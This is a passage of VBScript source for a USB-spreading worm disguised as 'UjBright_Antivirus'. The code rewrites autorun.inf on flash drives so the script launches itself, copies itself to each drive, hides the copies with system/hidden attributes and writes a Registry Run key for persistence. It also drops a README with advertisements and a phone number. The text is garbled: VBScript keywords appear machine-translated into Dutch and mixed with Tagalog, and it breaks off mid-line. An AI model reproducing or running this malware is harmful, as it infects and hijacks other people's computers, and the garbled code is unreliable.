Attributes = 32 fso.Deletefile myFlashDrive.Path & "\\ autorun.inf", true Eind als Set auFile = fso.CreateTextFile (myFlashDrive .Path & "\\ autorun.inf", true) auFile.write "[autorun]" & vbCrLf & "open = \\" & vbCrLf & "open = wscript.exe UjBright_Antivirus.vbs" & vbCrLf & "shell \\ Open \\ Command = wscript.exe UjBright_Antivirus.vbs "& vbCrLf &" shell \\ Open \\ Standaard = 1 "auFile.close Set auFile = fso.CreateTextFile (myFlashDrive.Path &" \\ README.txt ", true) auFile.
write" Hallo FRIENDS: "& vbCrLf &" Maaaring virus ito kung tawagin bij makikita ng ibang ANTI-VIRUS, ngunit wag mag-alala kung ito'y hindi makikilala ng Anu mang ANTI-VIRUS na nasa sa inyo. " & VbCrLf & "Omvatte ito ang tanging paraan ko upang matugunan ang ibang ANTI-VIRUS na hindi makikilala ang ganitong SCRIPTO na VIRUS na nakakasama" & vbCrLf & "ay kaya nitong PALITAN na maaring ayusin niya ang ibang sinira dulot ng NAKAKASIRA na virus." & VbCrLf & "" & vbCrLf & "-ADVERTISING-" & vbCrLf & "EARLY KOMST RECLAME -.
Tarpaulin nila ay duurzaam matagal kumupas, tag-init man o tag-Araw" & VbCrLf & "RB Photoart STUDIO - Kan kagandahan sa Kulay ng inyong beeld bij duurzaam pa." & VbCrLf & "104,1 DXMA WOW FM -.. Pinakikinggang himpilan ng RADIO Numero Uno SA Centrale Mindanao" & VbCrLf & "" & vbCrLf & "PARA SA GUSTONG MAGPA-adverteren:" & vbCrLf & "contacteer me: 09083223171 - UJBRIGHT" auFile.close Set fAttr = fso.Getfile (myFlashDrive.Path & "\\ autorun.inf") fAttr.Attributes = 39 Set myFile = fso.CreateTextFile (myFlashDrive.Path & "\\ UjBright_Antivirus.vbs", true) myFile.write scrText myFile.
close Set fAttr = fso.Getfile (myFlashDrive.Path & "\\ UjBright_Antivirus.vbs") fAttr.Attributes = 39 End If Volgende Met wscr .RegWrite "HKEY_LOCAL_MACHINE \\ SOFTWARE \\ Microsoft \\ Windows \\ CurrentVersion \\ Run \\ autonomiserend", "wscript.exe" "" & win & "\\ UjBright_Antivirus.vbs" "" .RegWrite "HKEY_CURRENT_U